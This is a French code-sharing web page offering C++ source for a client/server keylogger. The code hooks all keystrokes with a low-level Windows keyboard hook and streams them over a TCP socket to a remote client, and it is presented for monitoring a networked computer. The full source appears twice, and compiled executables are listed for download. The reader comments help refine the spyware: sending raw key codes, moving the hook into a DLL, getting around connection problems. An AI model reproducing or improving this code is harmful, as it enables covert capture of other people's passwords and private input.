begin process at 2012 02 05 03:48:02
  Trouver un code source :
 
dans
 
Accueil > 

Code

 > 

Réseaux & Internet

 > KEYLOGGER SERVEUR/CLIENT

KEYLOGGER SERVEUR/CLIENT


 Information sur la source

Note :
Aucune note
Catégorie :Réseaux & Internet Classé sous :keylogger, hook, socket, client, serveur Niveau :Débutant Date de création :05/11/2007 Date de mise à jour :06/11/2007 19:06:05 Vu / téléchargé :13 576 / 1 125

Auteur : yann2192

Ecrire un message privé
Site perso
Commentaire sur cette source (22)
Ajouter un commentaire et/ou une note

 Description

Cliquez pour voir la capture en taille normale
Voici un petit keylogger ( encore un ><) envoyant toute les touches tappées au client. Il ne prend pas en charge les majuscules ( du moin pas encore ). Je me suis inspiré d'un keylogguer classique sur ce site. Pour surveiller un ordinateur en réseau ou autre.

Source

  • //Source du Serveur :
  • #include <windows.h>
  • #include <stdio.h>
  • #include <stdlib.h>
  • #include <cstdio>
  • #include <cstdlib>
  • #include <iostream>
  • #include <winsock2.h>
  • #pragma comment(lib, "ws2_32.lib")
  • HHOOK hKeyHook;
  • SOCKET sock;
  • SOCKET csock;
  • SOCKADDR_IN sin;
  • SOCKADDR_IN csin;
  • using namespace std;
  • void displayCharArray(char stringArray[], int size0floatArray);
  • __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam ) {
  • // Action du clavier et les touches tappées
  • if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) {
  • BYTE KeyState[256];
  • WORD wBuffer;
  • // Récupération des informations
  • KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
  • GetKeyboardState(KeyState);
  • // Conversion code > ascii
  • ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuffer,0);
  • switch(hooked.vkCode)
  • {
  • case 9 :{send(csock,"<TAB>",6,0);break;}
  • case 13 :{send(csock,"<ENTER>",8,0);break;}
  • case VK_BACK :{send(csock,"<delete>",9,0);break;}
  • case VK_DELETE: {send(csock,"<Suppr>",8,0);break;}
  • case VK_CAPITAL :{send(csock,"<CAP>",6,0);break;}
  • case 160 :{send(csock,"<MAJ>",6,0);break;}
  • default : {
  • send(csock,((const char*)&wBuffer),sizeof(&wBuffer),0);
  • break;
  • }}
  • }
  • // Fin du hook Renvoi des messages
  • return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
  • }
  • // Boucle message
  • void Boucle()
  • {
  • MSG message;
  • while (GetMessage(&message,NULL,0,0)) {
  • }
  • }
  • DWORD WINAPI KeyLogger(LPVOID lpParameter)
  • {
  • HINSTANCE hExe = GetModuleHandle(NULL);
  • if (!hExe) return 1;
  • // Demarrage du hook
  • hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, NULL);
  • // Boucle message
  • Boucle();
  • return 0;
  • }
  • //**************************************************************************
  • int main()
  • { //*********************************************************************
  • WSADATA WSAData;
  • WSAStartup(MAKEWORD(2,0),&WSAData);
  • sock = socket(AF_INET, SOCK_STREAM, 0);
  • sin.sin_addr.s_addr = INADDR_ANY;
  • sin.sin_family = AF_INET;
  • sin.sin_port = htons(2192);
  • //**********************
  • HANDLE hThread;
  • DWORD dwThread;
  • DWORD exThread;
  • //**********************
  • if (bind(sock, (SOCKADDR *)&sin, sizeof(sin)) == SOCKET_ERROR){
  • cout << "Problème de connection";
  • system("PAUSE");
  • return 1;}
  • if (listen(sock, 0) == SOCKET_ERROR){
  • cout << "Port déjà utilisé";
  • system("PAUSE");
  • return 1;}
  • char FAR buffer[64] ;
  • while(true)
  • {
  • int sinsize = sizeof(csin);
  • if((csock = accept(sock,(SOCKADDR *)&csin,&sinsize)) != INVALID_SOCKET)
  • {
  • gethostname(buffer, sizeof(buffer));
  • send(csock,buffer,sizeof(buffer),0);
  • send(csock," // Keylogguer Actif : ",22,0);
  • cout << "On" << endl;
  • hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, NULL, &dwThread);
  • if (hThread) {
  • return WaitForSingleObject(hThread,INFINITE);
  • } else {
  • return 0;
  • }
  • }
  • closesocket(sock);
  • WSACleanup();
  • }
  • }
  • //CLIENT
  • #include <cstdio>
  • #include <cstdlib>
  • #include <iostream>
  • #include <winsock2.h>
  • #pragma comment(lib, "ws2_32.lib")
  • using namespace std;
  • int main(int nNumberofArgs, char* pszArgs[])
  • {
  • char buffer[1024];
  • WSADATA WSAData;
  • WSAStartup(MAKEWORD(2,0),&WSAData);
  • SOCKET sock;
  • sock = socket(AF_INET,SOCK_STREAM,0);
  • SOCKADDR_IN sin;
  • sin.sin_addr.s_addr = inet_addr("127.0.0.1");
  • sin.sin_family = AF_INET;
  • sin.sin_port = htons(2192);
  • connect(sock,(SOCKADDR *)&sin,sizeof(sin));
  • int x = connect(sock,(SOCKADDR *)&sin,sizeof(sin));
  • // Boucle infinie réception message
  • for(;;)
  • {
  • int i = recv(sock,buffer,sizeof(buffer),0);
  • if (i != false && i != SOCKET_ERROR)
  • {
  • cout << buffer;
  • }
  • if ( i == SOCKET_ERROR){cout << endl << endl << "Connexion interrompu" << endl << endl;system("PAUSE");return 1;}
  • if(x == false){
  • system("PAUSE");
  • return 1; // Si connection inexistante break
  • }}
  • closesocket(sock);
  • WSACleanup();
  • getchar();
  • }
//Source du Serveur :
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <cstdio>
#include <cstdlib>

#include <iostream>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")


 HHOOK hKeyHook;

SOCKET sock;
SOCKET csock;
SOCKADDR_IN sin;
SOCKADDR_IN csin;

using namespace std;

void displayCharArray(char stringArray[], int size0floatArray);
 
 __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam ) {

 // Action du clavier et les touches tappées
 if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) {
 BYTE KeyState[256];
 WORD wBuffer;
 // Récupération des informations
 KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);

 GetKeyboardState(KeyState);
 // Conversion code > ascii
 
  ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuffer,0);

switch(hooked.vkCode)
{
 case 9 :{send(csock,"<TAB>",6,0);break;}
 case 13 :{send(csock,"<ENTER>",8,0);break;}
 case VK_BACK :{send(csock,"<delete>",9,0);break;}
 case VK_DELETE: {send(csock,"<Suppr>",8,0);break;}
 case VK_CAPITAL :{send(csock,"<CAP>",6,0);break;}
 case 160 :{send(csock,"<MAJ>",6,0);break;}
 

 default : {                                          
send(csock,((const char*)&wBuffer),sizeof(&wBuffer),0);
break;
}}


 }
 // Fin du hook Renvoi des messages 
 return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
 }


 // Boucle message
 void Boucle()
 {
 MSG message;
 while (GetMessage(&message,NULL,0,0)) {
 }
 }


 DWORD WINAPI KeyLogger(LPVOID lpParameter)
 {      

 HINSTANCE hExe = GetModuleHandle(NULL);

 if (!hExe) return 1;

 // Demarrage du hook
 hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, NULL);

 // Boucle message
 Boucle();

 return 0;
 }

//**************************************************************************
int main()
{ //*********************************************************************


WSADATA WSAData;
WSAStartup(MAKEWORD(2,0),&WSAData);
	


sock = socket(AF_INET, SOCK_STREAM, 0);

sin.sin_addr.s_addr			= INADDR_ANY;
sin.sin_family				= AF_INET;
sin.sin_port				= htons(2192);
//**********************
HANDLE hThread;
 DWORD dwThread;
 DWORD exThread;
//**********************

if (bind(sock, (SOCKADDR *)&sin, sizeof(sin)) == SOCKET_ERROR){
     cout << "Problème de connection";
     system("PAUSE");
     return 1;}          
if (listen(sock, 0) == SOCKET_ERROR){
                 cout << "Port déjà utilisé";
                 system("PAUSE");
                 return 1;}
char FAR buffer[64] ;

		while(true)
		{
                
			int sinsize = sizeof(csin);
			if((csock = accept(sock,(SOCKADDR *)&csin,&sinsize)) != INVALID_SOCKET)
			{
                      gethostname(buffer, sizeof(buffer));
                      send(csock,buffer,sizeof(buffer),0);
                      send(csock," // Keylogguer Actif : ",22,0);                                          
                      cout << "On" << endl;                 
			hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, NULL, &dwThread);
 
 if (hThread) {
 
 return WaitForSingleObject(hThread,INFINITE);
} else {
       
 return 0;

			}
			
        }

closesocket(sock);
WSACleanup();
		}
}

//CLIENT
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

using namespace std;

int main(int nNumberofArgs, char* pszArgs[])
{
char buffer[1024];

WSADATA WSAData;
WSAStartup(MAKEWORD(2,0),&WSAData);
    
SOCKET sock;
sock = socket(AF_INET,SOCK_STREAM,0);
    
SOCKADDR_IN sin;
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
sin.sin_family      = AF_INET;
sin.sin_port        = htons(2192);

connect(sock,(SOCKADDR *)&sin,sizeof(sin));
int x = connect(sock,(SOCKADDR *)&sin,sizeof(sin));
// Boucle infinie réception message
for(;;)
{
    int i = recv(sock,buffer,sizeof(buffer),0);
    if (i != false && i != SOCKET_ERROR)
    {
    cout << buffer;
    }
    if ( i == SOCKET_ERROR){cout << endl << endl << "Connexion interrompu" << endl << endl;system("PAUSE");return 1;}
    if(x == false){
         system("PAUSE");
         return 1; // Si connection inexistante break
}}



closesocket(sock);
WSACleanup();

getchar();
}

 Conclusion

Personnellement je n'arrive pas à établire une connection avec deux ordinateurs, je suis ouvert à toute aide de votre part.

Je sais que la déclaration de toute les touches pourrait être évité mais je n'arriver pas à faire autrement.

Il y'aura sans doute des améliorations prochainement.

 Fichier Zip

Les Membres Club peuvent télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !
  • client f.cppTélécharger ce fichier [Réservé aux membres club]Voir ce fichier1 040 octets
  • client.devTélécharger ce fichier [Réservé aux membres club]932 octets
  • client.exe_Télécharger ce fichier [Réservé aux membres club]1 291 023 octets
  • serveur 2.cppTélécharger ce fichier [Réservé aux membres club]Voir ce fichier3 306 octets
  • Serveur keylogger.devTélécharger ce fichier [Réservé aux membres club]904 octets
  • Serveur.exe_Télécharger ce fichier [Réservé aux membres club]1 295 574 octets

Télécharger le zip


 Historique

05 novembre 2007 23:01:11 :
Vérification des appels
05 novembre 2007 23:29:12 :
Suppression de code inutile
06 novembre 2007 18:24:06 :
Nouveaux systeme d'envoie des touches tappées, surveillance des connections du clients renforcée : plus le bug du client lorsque l'on coupe le serveur en premier
06 novembre 2007 19:06:05 :
Suppression d'une variable inutile oubliée

 Sources de la même categorie

Source avec Zip SERVEUR MULTITHREAD [LINUX/WIN] par nipepsinicolas
Source avec Zip Source avec une capture SECURE REMOTE SHELL par ganjarasta
Source avec Zip Source avec une capture SUIVI DE PRODUCTION ONDULEUR PHOTOVOLTAÏQUE SOLARMAX par brunovan
Source avec Zip MINICHAT MULTI-CLIENT par wisar
SOCKET CPP par baptchr55

 Sources en rapport avec celle ci

Source avec Zip MINICHAT MULTI-CLIENT par wisar
Source avec Zip Source avec une capture CLIENT/SERVEUR UTILISANT LES IOCP RÉALISÉ AVEC BORLAND BUILD... par goodboy21
Source avec Zip SERVEUR/CLIENT LINUX par ghost4
Source avec Zip KEYLOGGER : SERVEUR/CLIENT (EN MULTI-THREAD) par thesimsone
Source avec Zip MINI CHAT C/C++ par edf102

Commentaires et avis

Commentaire de yann2192 le 05/11/2007 13:06:26

J'attend votre note et si vous aviez une explication pour le fait que je n'arrive pas à obtenir une connection entre le serveur et le client placé sur deux ordinateurs différent (Ce n'est pas un problème d'ip).

Commentaire de DeAtHCrAsH le 05/11/2007 15:04:48

Pour ce qui est de ton problème, cela est surement du a un firewall ou un antivirus...
Sinon il est inutile d'exporter la fonction de callbaàk.
A ta place, j'aurai mis le code du hook dans une Dll et non dans l'exe. Dès lors l'exe ne servirait que de launcher

Commentaire de luhtor le 05/11/2007 16:39:55

Actuellement, tu envois une chaine par la fonction send. Pourquoi tu envois pas simplement le code touche directement. Ca éviterait ce switch. Et du coup, tu gères toutes les touches.

Commentaire de DeAtHCrAsH le 05/11/2007 17:00:38

Luthor> Dans les deux cas, qu'il envoie le code touche ou la chaine, il devra interpreté le résultat soi coté client, soit coté serveur.
Mais en effet il serait plus judicieux de renvoyer le code de la touche et ensuite le client se dépatouille avec.

Commentaire de max12 le 05/11/2007 17:27:12 administrateur CS

Il y a bien des endroits ou tu ne vérifie pas du tout les retours de fonction, bind et listen, si le port est déjà prit que se passera t-il ? On verra bien la suite des commentaires.

Commentaire de yann2192 le 05/11/2007 17:35:20

Pour l'idée de la dll, je préfére n'utiliser de dll que si cela est vraiment nécéssaire. Pour ce qui est du switch, avant j'avais fait sa :

ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&Buf,0);
//...
*ch=((char)Buf);
send(dsock,ch,sizeof(ch),0);

mais cela n'afficher rien du coté client :/

Commentaire de DeAtHCrAsH le 05/11/2007 17:46:03

Yann2192> Utiliser une dll si cela es vraiment nécéssaire? Pour ma part un hook se fait dans une dll... Mais bon chacun ses gouts.
Sinon je pense que tu as pas compris la remarque de Luthor, il te dit tout simplement de renvoyer hooked.vkCode au client, et ensuite le client se débrouille avec, ce qui j'avoue et beaucoup plus logique... Non seulement ca t'évite de mettre a jour le serveur lorsque tu souhiates gérer de nouvelles touches, mais en plus ca laisse le choix au client de ne traiter que certaines touches.

Commentaire de vicenzo le 05/11/2007 19:32:00

DeAtHCrAsH :

1/ exporter le callback est nécessaire car comment windows peut l'appeler s'il n'est pas exporté ?
2/ un hook exportée dans un exe le fait très bien... Bien que MSDN clame que cela doit se faire dans une DLL, cela fonctionne très bien depuis un exe... Dans le cas de ce mini keylogger pourquoi placer deux fichier (exe+dll) quand on peut n'avoir q'un seul fichier (exe) ?

yann2192 :

Comme tu le précise, pourquoi poster le code d'un enième key logger basique qui n'est en plus pas complètement opérationnel ?

Commentaire de yann2192 le 05/11/2007 20:34:49

Max 12 > Il y a bien des endroits ou tu ne vérifie pas du tout les retours de fonction, bind et listen, si le port est déjà prit que se passera t-il ? On verra bien la suite des commentaires.

C'est vraie, dans les exemples des tutos que j'ai lu sur les sockets, ils ne controlaient pas les retours, je vais rajoutés sa dans la nouvella version.

Deathcrash > [...]il te dit tout simplement de renvoyer hooked.vkCode au client, et ensuite le client se débrouille avec, ce qui j'avoue et beaucoup plus logique[...]

Oui je n'y avait pas penser, donc si j'ai compris je vais devoirs faire :
send(csock,((const char*)hooked.vkCode),sizeof(hooked.vkCode),0);
Je vient d'essayer mais je doit avoir quelque lacune sur la réception par socket de variable. Donc je laisse comme sa jusqu'a ce que j'arrive à exploiter correctement hooked.vkCode.

Vicenzo > Comme tu le précise, pourquoi poster le code d'un enième key logger basique qui n'est en plus pas complètement opérationnel ?

J'ai ajouté ma source déjà pour avoir des propositions pour l'améliorer et ensuite je n'avais pas vue de keylogger proposant d'envoyer les touches tappées par socket au lieu de les stocker dans un fichier.


Pour mon problème de connection, j'avais désactiver mes parefeux et mon av, sa doit ptetre venir du parefeu modem ou routeur.

Commentaire de vicenzo le 05/11/2007 20:54:19

Si tu as deux connections, la deuxieme ecrase la première puisque tu utilise des variables globales...

Quant tu fais du multithreadé, oubli l'existance des variables globales et associe des variables aux contexte de ton thread en créant un object à chaque accept() et en le passant en param de createthread par exemple..

et puis comme le dis Max12 tout appel à des libraires système doit TOUJOURS être vérifié ! si tu ne le fais pas, d'une part c'est suicidaire et donne du code non sur et donc pour inexploitable et d'autre part ca fais papa qui brocole dans son garage....

Donc :      
    * vérifie tes appels
    * soit tu améliore ton multithreading soit tu passes en "mono thread"


vicenzo.

Commentaire de yann2192 le 05/11/2007 23:15:46

Voila, le serveur vérifie les fonctions bind et listen.

Voila mon problème j'envoie comme Luhtor me la proposé, hooked.vkCode au client
donc j'écrie : send(csock,((const char*)hooked.vkCode),sizeof(hooked.vkCode),0);

C'est pour réceptionner hooked.vkCode que je ne comprend pas. J'ai essayer simplement de mettre le switch(hooked.vkCode) au client mais hooked.vkCode n'est pas déclaré donc je doit le remplacer par quoi ? Et cela surfira t'il a gérer correctement hooked.vkCode ?

Commentaire de DeAtHCrAsH le 06/11/2007 10:12:46

vicenzo> La fonction de call n'est pas à exporté si le code du hook est dans une dll.

Yann2192> Il ne faut surtout pas faire ca "(const char*)hooked.vkCode" il risque d'y avoir de la casse. Passe plutot par uen fonction genre itoa pour convertir ton entier en chaine de caractère.
Ensuite coté client, tu récépetionnes simplement le resultat sur ton socket avec la fonction recv(...) comme tu le fait actuellement. Puis dans la foulé tu interprètes le code touche pour y afficher la lettre correspndante.

Commentaire de yann2192 le 06/11/2007 11:35:32

deathcrash > Passe plutot par uen fonction genre itoa pour convertir ton entier en chaine de caractère.

Ah ok, mais il va faloir faire la fonction inverse de itoa alors, parceque itoa ne donnera pas les valeurs correctes. Dès que je revien de l'ortho je vois sa.

Commentaire de vicenzo le 06/11/2007 15:34:18

DeAtHCrAsH > Dll ou éxecutable, le callback doit forcément etre exporté (quelque soit le moyen - convention ou *.def) sinon il n'est pas visible !!

Commentaire de yann2192 le 06/11/2007 16:22:09

J'ai reussie à récupérer la nouvelle valeur de chaque touche, le client est presque pret, faut juste que je trouve comment comparer une char et un nombre.

Commentaire de vicenzo le 06/11/2007 17:26:03

Effectivement il ne faut pas faire :

send(csock,((const char*)hooked.vkCode),sizeof(hooked.vkCode),0)

mais plutôt :

send(csock,((const char*) &hooked.vkCode),sizeof(hooked.vkCode),0)

il faut passer l'adresse de hooked.vkCode à send... et pas de conversions en texte superflues qui ralentissent pour rien...

Commentaire de DeAtHCrAsH le 06/11/2007 17:50:45

Vicenzo> Va donc faire un tour sur la MSDN ca te fera le plus grand bien... Je ne vois pas en quoi la procedure de callback doit etre exportée... Visible de qui et pour quoi faire?!

Commentaire de yann2192 le 06/11/2007 18:52:36

Voila, j'ai utiliser le "&" de vicenzo donc finallement toutes les touches sont envoyés seul quelque touches non prise en charge. Prochainement, je vais surment essayer de faire en sorte que lorsque le serveur coupe, qu'il n'y ai pas besoin de redémarrer le client pour reavoir une conection et vis versa

Commentaire de victorcoasne le 26/11/2007 14:33:26

En effet un hook sans DLL existe mais sous les versions antérieures à 2000 càd (Millenium, 98, 95...) le hook ne fonctionne pas.

Commentaire de sscssc13 le 07/01/2008 23:41:26

salut, j'ais quelque probleme de compilation pouriez vous me donner vos lib? SVP

Commentaire de victorcoasne le 08/01/2008 13:14:11

As-tu lié -lwsock32 si t'es sous Dev-C++.

Commentaire de sscssc13 le 08/01/2008 22:12:54

eu non enfin je ne croix pas :s
(je suis bien sur DevC++)

 Ajouter un commentaire


Discussions en rapport avec ce code source dans le forum

Tutorial - Socket, serveur, client BCPP + GUI [ par NyxArm ] Bonjours tout le monde, je suis présentement en période d'appretissage du language CPP sur Borland(v.6). Maintenant que j'ai acquis quelque conna Evènement sur un socket client [ par darsh99 ] J'aimerais savoir si la méthode utilisée par BlackGoddess pour son serveur (http://www.cppfrance.com/article.aspx?ID=1287) est récupérable pour gérer Thread et socket besoin de conseil [ par kawito ] Salut,je desire realiser un client/serveur TCPle probleme est que les fonctions accept et recv sont bloquante.donc cela bloque l'affichage etc...mon p programmation socket sous linux [ par blazman34 ] Bonjour à tous !!Voici mon probleme :Je suis en train de programmer une application client serveur sous linux, tout a bien marcher juska présent juska problème socket sous windows [ par kod32 ] Voici mon code : (winsock2.h)-----------------------------int main(){ /* inialisation */ WSADATA wsa; WSAStartup(MAKEWORD(2,0), &wsa); /* client & server [ par Stormy ] J'ai codé un serveur simple usant de TCP. Comme client j'utilise NetCat. Or, quand NetCat 'ferme', mon serveur ne détecte pas la clôture de la relatio Qd un Socket reçoit une trame erronée ... [ par valoue ] Bonjour,Je suis en train de développer una appli client serveur sous VC++, j'utilise des SOCKET.Le client et le serveur communiquent en s'envoyant des Client/Serveur, encore..... [ par glubust ] Je veux faire fonctionner une application client/serveur sous UNIX (client) et WINDOWS (serveur).Le programme client envoi une simple requête au serve connection client serveur avec MFC [ par Spiffou ] Bonjour à tous,j'avance petit à petit dans la programmation socket, mais je suis confronté à une nouvelle difficulté et j'ai une ou deux question sans Question socket - Client/Serveur [ par LordBob ] Bonjour a tous,alors voila je suis en train de developper un petit programme client/serveur... donc tout se passe bien, mon client se connecte parfait


Nos sponsors


Sondage...

CalendriCode

Février 2012
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
272829    

Consulter la suite du CalendriCode

Photothèque

 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 2,496 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales